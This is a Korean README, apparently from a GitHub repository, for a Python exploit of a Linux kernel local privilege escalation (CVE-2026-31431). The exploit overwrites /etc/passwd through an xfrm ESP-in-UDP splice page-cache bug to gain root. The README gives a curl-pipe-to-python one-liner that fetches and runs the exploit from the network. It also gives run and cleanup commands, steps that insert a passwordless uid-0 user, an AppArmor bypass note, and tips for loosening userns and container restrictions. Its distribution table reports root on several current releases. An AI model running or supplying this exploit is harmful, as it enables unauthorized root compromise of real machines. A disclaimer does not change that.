
# CVE-2026-31431에 대한 Linux 커널 로컬 권한 상승 익스플로잇의 Python 구현으로, xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW를 활용하여 /etc/passwd를 덮어쓰고 루트 권한을 획득합니다.
xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW 고속 경로를 활용하는 CopyFail2 커널 익스플로잇의 Python 포트로, 권한이 없는 Linux 사용자의 로컬 권한 상승을 위한 도구입니다.
/etc/passwd의 nologin/false 항목을 패스워드 없는 uid-0 사용자로 교체하고 su를 통해 루트 셸로 진입합니다.
커널 버그는 xfrm ESP-in-UDP 캡슐화에 사용되는 UDP splice 경로에 존재합니다. MSG_SPLICE_PAGES와 함께 UDP 소켓으로 splice()를 호출하면 copy-on-write를 트리거하지 않고 페이지가 수신자의 페이지 캐시에 매핑됩니다. 이를 통해 읽기 전용으로 열린 파일이라도 페이지 캐시에 현재 매핑된 모든 파일에 쓰기가 가능해집니다.
libcrypto.so (OpenSSL)CAP_NET_ADMIN 또는 사용자 네임스페이스 생성 권한이 저장소는 두 가지 변형을 제공합니다. 둘 다 동일한 결과를 생성하며, 제약 조건에 따라 선택하세요.
# 파이프를 통한 원라이너
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# 파일로 저장 후 실행
python3 exploit.py
# 변경 사항 되돌리기
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
apparmor_restrict_unprivileged_userns가 활성화된 Ubuntu에서는 파일을 먼저 저장한 후 디스크에서 실행하세요. 파이프 모드는 AppArmor 우회 절차를 건너뜁니다.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd 바이트를 원하는 값으로 XOR하는 키스트림 바이트를 가진 AES-GCM IV를 브루트포스합니다.127.0.0.1:4500에 로컬 xfrm ESP-in-UDP 상태를 설치합니다./etc/passwd의 대상 바이트, ICV)를 파이프로 splice()합니다.splice()하여 커널 버그를 트리거하고 바이트를 페이지 캐시에 씁니다.nologin/false 라인을 sick::0:0:...:/:/bin/bash로 덮어씁니다.su - sick로 루트에 진입합니다 (PAM nullok가 빈 패스워드를 허용).cannot acquire CAP_NET_ADMIN
커널에 kernel.unprivileged_userns_clone=0이 설정되어 있을 수 있습니다. 활성화하세요:
sudo sysctl kernel.unprivileged_userns_clone=1
Docker 내부에서 실행 중이라면 --privileged 또는 --cap-add=SYS_ADMIN 옵션으로 컨테이너를 시작하세요.
이 도구는 공인된 보안 연구 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오. 저자는 이 소프트웨어의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.
| 파일 | 설명 | 속도 | 사용 시기 |
|---|
exploit.py | 최적화 버전 — 변형 간에 xfrm 상태/소켓/파이프를 재사용하고, 라운드당 2바이트를 배치 처리하며, 고정 대기 대신 능동 폴링을 사용합니다. | 99바이트 라인 기준 약 3~8초 | 기본 선택. 빠르고 안정적이며 여러 배포판에서 테스트됨. |
exploit_raw.py | 참조 버전 — 원본 C 코드에 가장 근접합니다. 모든 단일 바이트에 대해 xfrm 상태, 소켓, 파이프 및 임시 파일을 재생성하고, 변형당 200ms 고정 대기를 사용합니다. | 99바이트 라인 기준 약 30~40초 | 감사를 위해 가장 단순한 코드 경로를 원하거나, 최적화 버전이 특정 커널 빌드에서 오작동하는 경우 사용. |
| 배포판 | 커널 | 결과 |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | 취약하지 않음 |